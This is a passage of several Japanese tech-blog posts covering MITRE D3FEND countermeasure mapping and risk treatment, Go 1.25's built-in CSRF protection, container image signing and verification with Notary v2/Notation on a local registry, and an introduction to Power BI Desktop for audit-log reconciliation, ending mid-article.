Harden – application hardening, platform hardening, credential hardening, message hardening
Detect – network traffic analysis, process analysis, file analysis, platform monitoring, identifier analysis, message analysis, user behavior analysis
Isolate – network isolation, execution isolation
Deceive – decoy environment, decoy object
Evict – credential eviction, process eviction

引用）MITRE ATT&CK & D3FEND: Step-by-Step Guide to Closing Security Visibility Gaps

ユースケース

１）特定の「攻撃手法」から防御策を探す
D3FENDの最も強力な使い方は、特定の攻撃手法（ATT&CK ID）から、それに対応する防御策（D3FEND ID）を逆引きすることです。

D3FEND公式サイト 左側検索窓から対策したい攻撃（今回は「Kerberoasting」とする）を入力すると、ATT&CKの攻撃ID「T1558.003」がヒットします。

ATT&CK公式サイト からも検索できます。

そのまま D3FEND の検索結果ページを開くと、この攻撃（T1558.003）に紐づく防御技術（D3FEND Countermeasure）がリストアップされます。これは、D3FENDが自動的に推測（infer）した、防御技術同士の隠れた関連性のことです。MITREが防御策と防御策の関連性を定義したものではなく、攻撃（ATT&CK）と防御（D3FEND）の膨大なマッピングデータを分析した 結果、防御技術のブロックしている 攻撃対象の類似性から実質的に関連性が高いだろう（推論） とAIやシステムが提示した関係を示しています。

ある防御策が、直接の目的以外に「どのような攻撃手法にも間接的に効果があるか」という隠れた関係性が分かりますが、その関係性の数は膨大になるため、関係しないnodeを非表示にすることで把握しやすいUIになっています。

Hardening & Isolation & Restore	Detect & Restore

上記マッピングを活用することで、下記を把握できます。

• 防御策の費用対効果
  たった1つの防御策（UACの有効化）で多様な攻撃の芽を摘む可能性があることを可視化できます。これにより、セキュリティ投資の優先順位付けがしやすくなります。
• 防御の網羅性
  自分たちが導入している防御策が、想定していなかった攻撃経路に対しても有効である可能性に気づけます。「この対策は、あの攻撃にも効いていたのか！」という発見があります。

２）防御の「目的」から探す
防御マトリクス（Defensive Matrix）を選択すると、D3FENDの防御技術が Model / Harden / Detect / Isolate / Deceive / Evict と分類されて表示されるため、目的に応じた防御技術を選定することが可能となります。例えば、AD要塞化をしたいとなった場合、「Harden（要塞化）」に注目して目的に沿った 直接関連する多くの防御技術を俯瞰 できます。

こちら では、ATT&CK or D3FEND に掲載されている緩和策それぞれに対し、より具体的にどんな防御テクニックがあるのかをマッピングしてくれています。より多層的で抜け漏れの少ない（MECE）防御策を立案するのをサポートしてくれます。

このように、なぜこの設定強化が必要なのか を攻撃手法とセットで理解でき、かつ、より具体的な対応まで落とし込めるため、単なるチェックリストをこなすよりも はるかに効果的で説得力のある堅牢化計画 を立てることができます。

情報資産/脅威/脆弱性 の評価 -アセスメント要素の具体化-

上記フレームワークは大枠を示すものの、定量評価するにあたっては、各要素（変数）の定義を定めて具体的に算出していきます。各要素の算出方法は時代とともに変化し、どのように表現されるかも変わりますので画一的な式は存在しません。用途とフェーズに応じて各種式を使い分けていきます。

ここに関しては、リスクとして考慮すべき要素に何を指定するのか、各要素について具体的にどういった算出方法（メトリクスや各種統計手法）をとるのかなど複雑かつ膨大なので、また別記事でご紹介したいと思います！

リスクの算定 -構築モデルの評価-

可視化したリスクの算定プロセスをモデル化したのち、そのモデルの妥当性を検討する必要があります。検討すべきは２点、正当性の評価 と 妥当性の評価 を行います。前者は理論的に正しいのかどうか、後者は実証実験にて実際の結果からモデルを評価します。

• 正当性の評価では、モデルの論理的な構造や計算ロジックそのものが、専門家の知見や確立された理論に基づいて正しく構築されているかを検証します。これはデータを用いたシミュレーションする前の、いわば設計図のレビュー段階です。
• 妥当性の評価では、多量変数それぞれに不確実性、つまり分布があり、それらのランダムな組み合わせを発生させて最終的に1つの指標で確率分布を求めたいので、モンテカルロシミュレーションを用います。

リスク対応の決定と報告 -4つの決め方-

リスクが可視化できたら、次はいよいよ「どうするか」を決める意思決定のフェーズです。ただ闇雲に対策するのではなく、ここでも合理的な選択肢が存在します。大きく分けて、以下の4つの対応方針があります。

1. リスク低減 (Mitigation)
   セキュリティソフトの導入、社員教育の実施、システムの暗号化など、リスクの発生確率や影響度を下げるための対策を講じる、最も一般的なアプローチです。
2. リスク回避 (Avoidance)
   リスクの原因となる活動そのものを止めるという選択。例えば、特定の信頼できないWebサービスの利用を全面的に禁止する、といった判断です。
3. リスク移転 (Transfer)
   自分たちだけでリスクを抱え込まず、第三者と分担する方法です。代表的な例が、サイバー保険への加入です。万が一の際の損害を保険でカバーしてもらいます。
4. リスク受容 (Acceptance)
   リスクによる損失が許容範囲内である場合や、対策コストがリスクの大きさに見合わない場合に、あえて「何もしない」という意思決定をします。すべてのリスクをゼロにすることは不可能であり、これもまた合理的な判断の1つです。

企業は、可視化されたリスク一つひとつに対して、「対策コスト」と「得られる効果（リスクがどれだけ下がるか）」を天秤にかけ、この4つの選択肢の中から最適な組み合わせを選び、実行していくのです。

まとめ：不確実な未来を乗りこなすための思考法

今回は、サイバーセキュリティの世界におけるリスクとの向き合い方についてご紹介しました。

重要なのは以下です。

1. 漠然とした不安や期待を、具体的な要素に最大限分解して リスク因子を「可視化」する こと
2. それぞれの要素に対し、リスクがどの程度存在するのか算出する こと
3. 可視化されたリスクに対して、 複数の選択肢の中から最適な「決め方」を選ぶ こと

100%成功する選択というものは存在しません。しかし、リスクの正体を知り、それとどう向き合うか、時には未来予測シミュレーションなどを取り入れて真剣に考えることで、私たちはより後悔の少ない、納得感のある意思決定を下すことができます。

悩んだときは、上記を応用して物事を進めていけるといいですね✨

こんにちは。ペンギンになりたいエンジニアの島ノ江です。
現在は FutureVuls という脆弱性管理サービスの開発・営業などを担当しています。

Go 1.25リリース連載の4本目、マイナーアップデートの net/http での CSRF 対策の強化について触れます。

この記事では、以下の内容について触れていきます。CSRFについて既知の場合はリリースの実装内容の項目を参照してください。

1. 今回のリリースの概要
2. CSRFの概要
3. issue提案の背景
4. リリースの実装内容

関連する issue はこちらです（issue）

今回のリリースの概要

新たに net/http に CrossOriginProtection が実装され、安全でない Cross-Origin ブラウザリクエストを拒否することで、CSRF から保護するようになりました。これまでの Go では、標準ライブラリの net/http に CSRF 対策用のハンドラは存在しなかったため、外部ライブラリの利用や開発者が一から実装する必要がありました。今回のリリースにより、これらが標準ライブラリとして含まれるようになりました。

具体的には、fetch meta data リクエストヘッダーである Sec-Fetch-Site ヘッダーの確認、または Origin ヘッダーのホスト名と Host ヘッダーを比較することで検出します。これにより、従来 CSRF 対策として利用されていたトークンや Cookie を必要とせずに、オリジンベース及びパターンベースで CSRF の対策ができるようになりました。

詳細な判定ロジックは後述します。

CSRFについて

Cross-Site Request Forgery(CSRF) とは、Web アプリケーションの脆弱性を利用した攻撃手法の１つです。Web サイト側が、ログインした利用者からのリクエストについて、その利用者が意図したリクエストであるかどうかを識別する仕組みを持たない場合に、ブラウザが Cookie を自動送信する性質が悪用されて、悪意のあるリクエストを受け付けてしまう場合があります。この脆弱性があると、ユーザが意図していない操作を Web サイト上で強制的に実行させることができます。

「Forgery」とは和訳すると「偽造」という意味で、文書や署名を偽造する行為を指します。

CSRFの攻撃条件

基本的に以下の3要素が揃うと攻撃条件が成立します。

1. ユーザが認証済みの Web サイトが存在する：
   ユーザは既にログインしており、セッションが有効な状態である
2. Webサイトが状態を変更するリクエストを、ユーザからの認証情報のみで判断している：
   サーバ側が、リクエストの送信元が本当にそのユーザ本人であるかの確認をしていない
3. 攻撃者が、ユーザに悪意のあるWebページやメールを閲覧させる：
   攻撃者は、ユーザが認証済みのサイトに対して悪意のあるリクエストを仕込んだページを用意し、ユーザを誘導する

IPAに解説があるため、この図を引用します。

CSRFの対策

CSRF には古典的に以下のような方法で対策をとれます。

1. CSRFトークンの利用：
   すべての入力フォームに手動でトークンを埋め込み、都度検証する方法。ただし、各フォームで設定する必要があり、実装が面倒に問題がある
2. Origin ヘッダーのチェック：
   リクエストの送信元オリジンを確認する方法。ただし、リバースプロキシ環境などで設定が複雑になる問題がある
3. SameSite 属性クッキーの利用：
   Cookie に属性を設定し、クロスサイトリクエスト時にクッキーを送付するかどうかを制御する方法。ただし、一部のSSOフローで壊れる問題がある

CSRFの最近の動向

CSRF はWebサイト全体のセキュリティ向上に伴い、近年は被害件数が減少傾向にあります。

その背景は主に以下の通りです。

1. Cookie の SameSite 属性の自動設定など、モダンブラウザでの自動対応：
   Webサイト側で明示的な対策をしなくても、ブラウザ側で多くの CSRF が自動的にブロックされるようになりました
2. Webフレームワーク側での対策の自動化：
   開発者が意識して一から実装する必要はなくなりました。今回のリリース内容もこれに分類されます
3. SPAとAPI通信を組み合わせた方式の普及：
   SPA では Cookie による認証を使わずに、リクエストヘッダーに JWT のような認証トークンを入れる方式を採ります。そのため、そもそもの CSRF 攻撃の前提が成り立たなくなっています

上記のような対応が進んだことで、CSRF の脅威度は大きく下がりました。しかし、古いシステムや対策が不十分なWebサイトでは依然としてこのリスクは残るため、基本的なセキュリティ対策は引き続き必要となります。

提案の背景

これまで、CSRF 対策を目的とした Go のライブラリでは、例えば以下の2つが広く利用されていました。

• https://github.com/gorilla/csrf
• https://github.com/justinas/nosurf

gorilla/csrf では、上述の対策のうち1.CSRFトークンによる検証と2.Origin ヘッダーの検証で CSRF の対策をしていました。ただし、issue の提案者はこのライブラリに関して、Origin ヘッダーの検証に関するバグがある問題や、脆弱性の報告から修正までの対応が遅いなどの問題を指摘しています。

そこで、このようなライブラリに外部依存していた部分を標準ライブラリでサポートすることで、メンテナンス性やセキュリティアップデートをしやすくしたのが今回のアップデート対応です。

実装内容

CrossOriginProtection構造体

ベースとなる struct は以下のようになっています。

type CrossOriginProtection struct {
	bypass    atomic.Pointer[ServeMux]
	trustedMu sync.RWMutex
	trusted   map[string]bool
	deny      atomic.Pointer[Handler]
}

具体的に使う際は、各メソッドで設定し、ハンドラを CrossOriginProtection で wrap します。
各フィールドを設定しない場合はデフォルトの設定で安全に動作します。

mux := http.NewServeMux()
csrfProtection := http.NewCrossOriginProtection()

// trusted: 信頼オリジンの設定（任意）
err := csrfProtection.AddTrustedOrigin("https://trusted-example.com")
if err != nil {...}

// bypass: チェックを回避する設定（任意）
csrfProtection.AddInsecureBypassPattern("/api/public/")

// deny: リクエストがブロックされた際のカスタム処理（任意）
denyHandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
    log.Printf("Origin Blocked: Origin=%s, Path=%s", r.Header.Get("Origin"), r.URL.Path)
    http.Error(w, "Forbidden", http.StatusForbidden)
})
csrfProtection.SetDenyHandler(denyHandler)

// ハンドラを wrap する
srv := http.Server{
    Addr: ":8080",
    Handler: csrfProtection.Handler(mux),
}
log.Fatal(srv.ListenAndServe())

Cross-Originの判定方法

リクエストが Cross-Origin かどうかは Check メソッドで判定されます（実装）。判定ロジックを詳しくみていきます。

• GET, HEAD, OPTIONS のリクエストは、サーバの状態を変更しない安全なメソッドのため、常に許可されます
• 次に、リクエストヘッダーの Sec-Fetch-Site ヘッダーを優先的に確認します
  • "" の場合（Sec-Fetch-Site に対応していない古いブラウザからのアクセス、curl によるリクエストなど）：後述の Origin の比較に移ります
  • same-origin, noneの場合：同一オリジンからのアクセスで安全と判断して許可します
  • 上記以外の cross-site などの場合は、例外ルールに当てはまるかを isRequestExempt メソッドで確認します。下記に当てはまる場合は、安全と判断します
    • リクエストのパスが、Cross-Originチェックを無視する「バイパスリスト（bypass）」に設定されている
    • リクエストの送信元が、安全だとわかっている送信元を記録する「信頼済みオリジンリスト（trusted）」に設定されている
• Sec-Fetch-Site で判定ができない場合、リクエストヘッダーの Origin ヘッダーを確認します
  • "" の場合：同一オリジンリクエストか非ブラウザリクエストと判定して許可します
  • Origin ヘッダーと、Host ヘッダー（リクエスト先のホスト名）が異なる場合、Cross-Origin と判断します
• 最後に、危険な可能性をはらむリクエストについて、isRequestExempt メソッドで例外的に許可できないかを確認します

なお、issue にも書かれていますが、この Origin と Host の比較をする方法には問題があります。それは、 Host ヘッダーには scheme（http / https）が含まれないため、「http:// から https:// へのリクエストを区別できない」というものです。

例えば…

• Origin ヘッダー: http://example.com
• Host ヘッダー: example.com
• リクエスト URL : https://example.com/

…のようなアクセスをする場合、Origin ヘッダーとHost ヘッダーは example.com で一致するため、このチェックを通過してしまいます。しかし、http と https は異なるオリジンであり、本来はブロックするべきクロスオリジンリクエストです。

ただ、実装上この判定ロジックに回るのは、Sec-Fetch-Site に対応していない古いブラウザでアクセスした場合です。そのため、この次善策では fail-open として、リクエストをブロックして安全側に倒すのではなく、利便性のために甘く判定しています。

なお、http → https のクロスオリジンについては、HSTS（HTTP Strict Transport Security）を利用して、ブラウザが常に https でアクセスするように設定することで解決できます。そもそも http:// のような暗号化されていないページでは、データを送信する前の段階で中間者攻撃にあう可能性があるため、セキュリティ上問題があります。

さいごに

今回はマイナーアップデートの内容をテーマに、Web セキュリティに関する CSRF 周りの理解を深めてみました。Cookie 認証の問題点や Sec-Fetch-Site などに関する理解を深められて、とても興味深かったです。

セキュリティの基本として、多層防御の観点は重要です。ブラウザの SameSite 属性を設定したうえで、さらにサーバー側で明示的にリクエストを検証することで、より堅牢なシステムを実現できます。セキュリティ対策の実現の学習としても調べていて面白かったです。

ご覧いただきありがとうございました。

CNCF連載の1本目です。

はじめに

TIG真野です。KubeCon + CloudNativeCon の日本初開催、おめでとうございます！

CNCFのIncubatingプロジェクトである、Notary v2を用いて、コンテナイメージにデジタル署名してみた記事です。

CI/CDを狙ったサプライチェーン攻撃が増えている昨今、デプロイ対象のコンテナイメージが正しい手順で作成されたか検証することの重要性はますます高まっているように感じます。業界でよく行われているコンテナイメージの署名とその検証がどのように行われているか興味が合ったため、OCI（Open Container Initiative）準拠でデファクトに近い位置づけであったNotaryを触ってみした。

Notary v2とは

Notaryは、コンテナイメージにデジタル署名し、その真正性（誰が作ったか）と完全性（改ざんされていないか）を保証し、CLI実装が Notation です。Notaryは現在v2です。特徴として署名データをイメージと同じレジストリ内に保存することがあり、これによりポータビリティが高いと言われます。v1時代はレジストリをまたいでイメージを移動させると、署名が失われるという課題があったそうで、再設計されたためv2になったそうです。

• 参考: Community Collaboration on Notary v2 | Docker

2024年7月にコンテナイメージ署名用の AWS Signer オープンソース Notation プラグイン - AWS という発表があった通り、Notary v2 のCLI実装である Notation に、AWS Signerのプラグインが公開されたため、面倒な鍵管理をAWS側に任せることもできるようになりました。利用の機運が高まります。

ちなみに、類似のイメージ署名ツールとしては、Sigstore（Cosign）も有名で、勢いがあるかもしれません。こちらはGitHubなどのOIDCアカウントで署名するという、キーレスが特徴とのこと。記事を書いている途中で気がついたのですが、こちらの方が面白そうなツールですね。

Notaryの想定される使い所

Notary（実際に用いるのはCLI実装のNotation）の使い所ですが、以下のようなフローを想定しています。

• CI上でtrivyなどのイメージスキャンを行い、合格した場合にNotationで署名する
• CDのタイミングで、Notationで署名を検証して、成功ステータスの場合のみデプロイする
  • もし、検証が失敗した場合はデプロイを失敗させ、野良イメージ（or 悪意のあるイメージ）のデプロイを防ぐ

ある開発者がローカルPCでビルドしたイメージを、ECRなどのレジストリにプッシュしてしまうことは、適切なIAM権限設定で防ぐことができます。しかし、インフラ構築用の踏み台サーバ経由などでプッシュされる可能性もゼロではありません。また、CI/CDパイプライン上で設定ミスや予期しないスクリプトが実行され、ECRにイメージがプッシュされてしまう可能性も絶対発生しないとは言い切れません。

セキュリティ対策は多層的になされることが原則であるため、リスク評価にも続き優先度付けの上で、こういった対策を講ずるべき場合もあるでしょう。

より詳しくは、ECS × AWS Signer を使ったイメージ署名ワークフローを試してみた の記事が参考になりました。

Notationのインストール

Install the notation CLI に従い、Notationをインストールします。

x86かつ、WSL2上の環境にて構築します。 notationはGo言語で開発されていますが、go install ではお手軽には無理そうだったため、バイナリを直接取得する流れにします。

export NOTATION_VERSION=2.0.0-alpha.1

# ダウンロード
$ curl -LO https://github.com/notaryproject/notation/releases/download/v$NOTATION_VERSION/notation_$NOTATION_VERSION\_linux_amd64.tar.gz
$ curl -LO https://github.com/notaryproject/notation/releases/download/v$NOTATION_VERSION/notation_$NOTATION_VERSION\_checksums.txt

# チェックサムでOK表示を確認
$ grep linux_amd64 notation_2.0.0-alpha.1_checksums.txt > checksums.txt
$ shasum --check checksums.txt
notation_2.0.0-alpha.1_linux_amd64.tar.gz: OK

# インストール
$ sudo tar -xvzf notation_$NOTATION_VERSION\_linux_amd64.tar.gz -C /usr/local/bin notation
$ notation version
Notation - a tool to sign and verify artifacts.

Version:     2.0.0-alpha.1
Go version:  go1.24.1
Git commit:  6c5c35a0207eebf8d4d6d2efad66b798457a6622

コンテナレジストリを起動

DockerHubにプッシュしてもよいですが、単なる技術検証で用いるのは迷惑だと思ったので、ローカルPC上にレジストリを起動させます。同じく、CNCFのSandboxプロジェクトの、 Zot という軽量OCIレジストリを利用します。

インストール手順を見ると、がやや面倒だったのと、揮発的な利用でしか利用しないためDockerコマンドで立ち上げます。

docker run -d -p 5000:5000 --name zot ghcr.io/project-zot/zot-linux-amd64:v2.1.4

通常は、HTTPSでしかプッシュできないのですが、この Zotレジストリと通信するため、Docker Desktopの設定を修正します。

Docker DesktopのGUIから、歯車マーク > Docker Engine で、以下の設定を追加。

{
+ "insecure-registries": [ "localhost:5000" ],
  "builder": {
    "gc": {
      "defaultKeepStorage": "20GB",
      "enabled": true
    }
  },
  "experimental": false
}

そのまま、DockerをApply & Restartで再起動します。

もし、zotが再起動していなければ、再度立ち上げて起きます。

docker start zot

テストキーと自己署名証明書を生成する

署名するためのテスト RSA キーと、検証するための自己署名 X.509 証明書を、以下で生成します。あくまで動作確認用のコマンドとのこと。プロダクションで利用時はこちらの手順を参考にして、 AWS Signer などと連携させるか、少なくても、AWS KMSなどシークレットの管理サービスを利用すべきでしょう。

$ notation cert generate-test --default "suji-toshi-mashoya"
generating RSA Key with 2048 bits
generated certificate expiring on 2025-06-14T10:57:29Z
wrote key: /home/mano/.config/notation/localkeys/suji-toshi-mashoya.key
wrote certificate: /home/mano/.config/notation/localkeys/suji-toshi-mashoya.crt
Successfully added suji-toshi-mashoya.crt to named store suji-toshi-mashoya of type ca
suji-toshi-mashoya: added to the key list
suji-toshi-mashoya: mark as default signing ke

notation key ls や notation cert ls で署名キーや証明書を確認できます。

イメージに署名

適当なイメージをpullし、ローカル上のZotレジストリにpushします。

$ docker pull busybox:1.37.0
$ docker tag busybox:1.37.0 localhost:5000/suji-tootteruyo:1.0
$ docker push localhost:5000/suji-tootteruyo:1.0
The push refers to repository [localhost:5000/suji-tootteruyo]
90b9666d4aed: Pushed
1.0: digest: sha256:7c0ffe5751238c8479f952f3fbc3b719d47bccac0e9bf0a21c77a27cba9ef12d size: 610

i Info → Not all multiplatform-content is present and only the available single-platform image was pushed
          sha256:f85340bf132ae937d2c2a763b8335c9bab35d6e8293f70f606b9c6178d84f42b -> sha256:7c0ffe5751238c8479f952f3fbc3b719d47bccac0e9bf0a21c77a27cba9ef12d

続いて、お待ちかねのnotationコマンドです。タグだと上手く見つけることができなかったため、ダイジェスト指定することが必要でした（最近だと、タグは書き換え可能であり、ダイジェストを使う方が良いという話もあるので、深入りはしていません）

    $ notation sign --insecure-registry "localhost:5000/suji-tootteruyo@sha256:7c0ffe5751238c8479f952f3fbc3b719d47bccac0e9bf0a21c77a27cba9ef12d"
Successfully signed localhost:5000/suji-tootteruyo@sha256:7c0ffe5751238c8479f952f3fbc3b719d47bccac0e9bf0a21c77a27cba9ef12d
Pushed the signature to localhost:5000/suji-tootteruyo@sha256:ef3915777084e9f5fb59fa2b2184d60f452bd374352e2afdb1c20aac637c3304```

以下で紐づきを確認できます。

$ notation ls localhost:5000/suji-tootteruyo@sha256:7c0ffe5751238c8479f952f3fbc3b719d47bccac0e9bf0a21c77a27cba9ef12d
localhost:5000/suji-tootteruyo@sha256:7c0ffe5751238c8479f952f3fbc3b719d47bccac0e9bf0a21c77a27cba9ef12d
└── application/vnd.cncf.notary.signature
    └── sha256:f42031db9c3000605abfefa753db67e7928c7a907bbf5160c994d4944919958a

署名の検証

信頼ポリシーという、どの署名を信頼するか定義したJSONを作成します。

$ cat <<EOF > ./trustpolicy.json
{
    "version": "1.0",
    "trustPolicies": [
        {
            "name": "suji",
            "registryScopes": [ "localhost:5000/suji-tootteruyo" ],
            "signatureVerification": {"level" : "strict"},
            "trustStores": [ "ca:suji-toshi-mashoya" ],
            "trustedIdentities": ["*"]
        }
    ]
}
EOF

JSONファイルをインポートします。

$ notation policy import ./trustpolicy.json
Successfully imported OCI trust policy configuration to /home/mano/.config/notation/trustpolicy.oci.json.

署名を検証します。

$ notation verify --insecure-registry "localhost:5000/suji-tootteruyo@sha256:7c0ffe5751238c8479f952f3fbc3b719d47bccac0e9bf0a21c77a27cba9ef12d"
Successfully verified signature for localhost:5000/suji-tootteruyo@sha256:7c0ffe5751238c8479f952f3fbc3b719d47bccac0e9bf0a21c77a27cba9ef12d```

無事、成功しました。

署名の検証が正しく失敗するか確かめる

信頼ポリシーに登録されていない、不正な鍵で署名されたイメージがプッシュされた場合に、 notation verify による署名検証が失敗することを確かめます。

まず不正なキーを生成します。

$ notation cert generate-test --default "fade-out"
$ notation key ls
NAME                 KEY PATH                                                       CERTIFICATE PATH                                               ID   PLUGIN NAME
suji-toshi-mashoya   /home/mano/.config/notation/localkeys/suji-toshi-mashoya.key   /home/mano/.config/notation/localkeys/suji-toshi-mashoya.crt
* fade-out           /home/mano/.config/notation/localkeys/fade-out.key             /home/mano/.config/notation/localkeys/fade-out.crt

前回のキーと、今回の攻撃用のキーの2種類存在します。 fade-out が攻撃用のキーです。

新しく別のイメージを準備します。前回利用した1.37.0 ではなく、1.36.0を利用します。

$ docker pull busybox:1.36.0
$ docker tag busybox:1.36.0 localhost:5000/suji-tooranaiyo:1.0
$ docker push localhost:5000/suji-tooranaiyo:1.0
The push refers to repository [localhost:5000/suji-tooranaiyo]
a58ecd4f0c86: Pushed
1.0: digest: sha256:086417a48026173aaadca4ce43a1e4b385e8e62cc738ba79fc6637049674cac0 size: 528

i Info → Not all multiplatform-content is present and only the available single-platform image was pushed
          sha256:9e2bbca079387d7965c3a9cee6d0c53f4f4e63ff7637877a83c4c05f2a666112 -> sha256:086417a48026173aaadca4ce43a1e4b385e8e62cc738ba79fc6637049674cac0

このイメージに対して、攻撃用のキーで署名します。

$ notation sign \
  --insecure-registry \
  --key fade-out \
  "localhost:5000/suji-tooranaiyo@sha256:086417a48026173aaadca4ce43a1e4b385e8e62cc738ba79fc6637049674cac0"
Successfully signed localhost:5000/suji-tooranaiyo@sha256:086417a48026173aaadca4ce43a1e4b385e8e62cc738ba79fc6637049674cac0
Pushed the signature to localhost:5000/suji-tooranaiyo@sha256:49fc8cc2e956660bb8c6ab9cd18618609eb106ae5503855e7b2b3de5138c7ec6

これで、信頼できない署名付きのイメージが作成されましたので、このイメージを検証します。

$ notation verify --insecure-registry localhost:5000/suji-tooranaiyo@sha256:49fc8cc2e956660bb8c6ab9cd18618609eb106ae5503855e7b2b3de5138c7ec6
Error: signature verification failed: artifact "localhost:5000/suji-tooranaiyo@sha256:49fc8cc2e956660bb8c6ab9cd18618609eb106ae5503855e7b2b3de5138c7ec6" has no applicable oci trust policy statement. Trust policy applicability for a given artifact is determined by registryScopes. To create a trust policy, see: https://notaryproject.dev/docs/quickstart/#create-a-trust-policy

想定通り、「署名の検証に失敗しました：アーティファクト localhost:5000/suji-tooranaiyo@sha256:… に適用可能な信頼ポリシーのルールが存在しません。」といったエラーがでて、検証が失敗しました。

さいごに

Notary v2 のCLI実装である、Notationを使ってコンテナイメージの署名と検証をしました。

署名および検証はNotationのコマンドで容易に実行でき少し拍子抜けしました。難しいポイントは鍵の管理かと思いますが、それもNotationの AWS Signerプラグインなどを上手く活用することで、マネージドサービス側に寄せられると運用も楽になるのだろうと推測しています。

Notationの使い方というか、コンテナの指定がタグではなくダイジェストでないと認識しないといったあたりで時間がかかりました。CIなどで自動化しようとすると、シェルスクリプトなどで吸収するかといった手間が必要そうです。

はじめに

はじまして、CSIG（Cyber Security Innovation Group）の松本です。現在専門ドメインはセキュリティで、データのセマンティックに関心があります♡

今回は、データ分析ソフトウェアとして知られるBIツールについての入門記事です。PowerBI Desktopを活用して、データ取り込み～分析結果の可視化の一連の手順を紹介します。

これからPowerBIを試してみようと考えている方の導入を支援できれば幸いです！

PowerBI とは

Power BI（パワービーアイ）は、Microsoft社が提供しているビジネスインテリジェンス（BI）ツールです。企業が持つ様々なデータを収集・分析し、その結果を視覚的に分かりやすいレポートやダッシュボードとして作成することで、迅速な意思決定を支援する目的で作られました。PowerBIには以下3種類のプロダクトがあります。

1. PowerBI Desktop
   Microsoftが提供するビジネスインテリジェンスツール。データ分析、可視化、レポート作成に特化しており、様々なデータを元にインサイトを導出可能。
2. PowerBI Service
   レポートの共有・コラボレーション・スケジュール更新を含むPowerBIの共同利用に関するWebクラウドサービス。
3. PowerBI Automate
   Power BIの様々な管理タスクや操作を、手動ではなくPowerBI REST APIやPowerShellコマンドレットを利用して、PowerBIの管理や操作を自動化するためのツール。

この記事では、PowerBI Desktopを取り上げます。

具体的には、以下のようなことができます。

• データの接続と準備
  Excelファイル、データベース、クラウドサービスなど、様々な場所にあるデータに接続し、分析しやすいように整理・加工する。
• データの可視化
  グラフや表、地図など、多彩なビジュアル表現を使って、データを分かりやすく表示）
• レポートとダッシュボードの作成
  分析結果をまとめたレポートや、複数のグラフを一覧できるダッシュボードを作成し、関係者と共有
• インタラクティブな操作
  作成したレポートやダッシュボードは、フィルターをかけたり、ドリルダウンしたりするなど、対話的に操作しながら深掘り分析が可能
• クラウドベースでの共有と共同作業
  Power BI Serviceを利用することで、作成したレポートやダッシュボードをクラウド上で安全に共有し、チームで共同作業を行うことが可能
• モバイル対応
  スマートフォンやタブレットからもレポートを閲覧できるため、場所を選ばずに最新のデータを確認可能

監査ログ自動化について

背景と目的

先日、PowerBIを用いて監査ログの一部自動化（実アクセスログデータと使用申請ログデータの突合）を実施し、以下を達成しました。

1. 取り込み先対象ファイルや時間軸含めたデータフローの可視化が同一ファイル内で実現できた
2. 属人性の排除に役立った
   コンサル的な視点から述べると、
3. 実務担当者の工数数日分の短縮を実現し、生産性の向上に役立った

完全自動化には別途PowerBI AutomateやRPAなどのオーケストレーション機能をもつツールの使用が必須ですが、今回は入門編ということでPowerBI Desktopのみで実現できる範囲での自動化についてお話しします。

データフロー図 (DFD: Data Flow Diagram)

今回はPCスペックの都合上、➀～➂の分割レポートとして作成しています。クレンジング処理や置換処理は主に➀で行い、突合処理は主に➂で行っております。

必要なPowerBIの知識

Microsoft公式が丁寧なサポートページを提供してくれているため、基本的にこちらを読んでいただければ理解できると思います。

• Power BI とは? - Power BI | Microsoft Learn

気を付けた方がよさそうなところは、MSが “レポート” と称しているものは、各ステップや加工処理が取り込まれた[.pbix]データそのもののことを指している場合と、最終的に出力されるレポートビューもしくはそこからエクスポートされるpdfなどを指している場合があり、文脈依存である点です。

データソースの豊富さ

データソースとして指定できる方法は以下の２タイプです。

1. File
2. Database

DirectQueryを直接使用する際に見るサイトは以下です。

• Power BI Desktop の DirectQuery - Power BI | Microsoft Learn

そして、データソースとして利用できるものは以下になります。

• Power BI Report Server での Power BI レポート データ ソース - Power BI | Microsoft Learn

かなりの数が使えるようになっています。特にsharepointあたりは、企業で導入しているところであればデータ管理にクラウドを別で立てる必要がないため要件次第ではありますが、よい連携になると思います。今回データソースとして取り込んだものは、[.csv] 形式です。

データ分析メイン処理

今回、PowerBIで実装した内容としては「生データのインポート → クレンジング処理 → 参照/置換/突合 処理 → ビジュアライゼーション」という一連のフローです。ここでは、メイン処理 “参照置換処理” + “参照突合処理” を掲載します。

使用言語

PowerBI Desktopで使用する言語は2種類です。

• M言語: 主に、クレンジング処理などのデータの分析以前の準備に際し使用する言語
• DAX関数: 主に、BIツールのメイン処理に相当するデータ分析に際し使用する言語

M言語

ノーコードと言われるゆえんはここにあり、M言語で記載される各クエリはGUI上でステップという概念に置き換わり、反対に、GUI上でボタンをぽちぽちしてステップという概念を形作ると自動的にそれに対応するコードが作成され、[詳細エディタ] にM言語として反映される仕組みになっています。どちらかをいじれば、双方に反映され、同期的に動きます。

下記は分割レポート➀の抜粋です。M言語にて置換処理をしている箇所です。

let
    // --- old-windows フォルダ読み込みと基本加工 ---
    ソース = Folder.Files("C:\Users\xxxx\Downloads\xxx\old-windows"),

    ~~~ クレンジング処理（省略） ~~~

    // ★参照するテーブルBのクエリ名を指定してください
    Source_TableB = T_情シスメンバー一覧,

    // テーブルA (区切り記号の後の抽出されたテキスト) とテーブルBを account id でマージ
    MergedTables = Table.NestedJoin(
        #"名前が変更された列 2", // 左側のテーブル (テーブルA)
        {"account id"},     // テーブルAの結合キー列名
        Source_TableB,      // 右側のテーブル (テーブルB)
        {"account id"},     // テーブルBの結合キー列名
        "MatchedInfo_B",    // 結合結果を一時的に格納する列名 (任意)
        JoinKind.LeftOuter  // 結合の種類 (テーブルAの全行を残す)
    ),

    // マージ結果を展開して、テーブルBの user id 列を取得
    Expanded_UserId = Table.ExpandTableColumn(
        MergedTables,
        "MatchedInfo_B",      // 展開する一時列名
        {"user id"},          // テーブルBから取得したい列名 (今回は "user id")
        {"取得したUserID"}    // テーブルAに追加される新しい列名 (一時的な名前)
    ),

    // ★新しく追加した列の名前を "user id" に変更 (後続の処理で参照するため)
    Renamed_UserId_Column = Table.RenameColumns(Expanded_UserId, {{"取得したUserID", "user id"}}),

    ~~~ 省略 ~~~

    変更された型1 = Table.TransformColumnTypes(並べ替えられた列,{{"user id", type text}, {"source file", type text}, {"terminal access program", type text}})

in
    // ★最終的に出力するステップ名を指定
    変更された型1

DAX関数

そして次元を1つ引き上げて、データテーブル間を複数またいでデータの分析処理をするために各テーブルからデータを引き出して突合などを行う際にはDAX関数を使用します。

下記は分割サポート➂の抜粋です。突合項目3つを突合して条件に合致したらBooleanで値をテーブルに新規追加させています。返り値を実体としてを内部的に保持させることで、このあとフィルタリングさせることが可能となります。

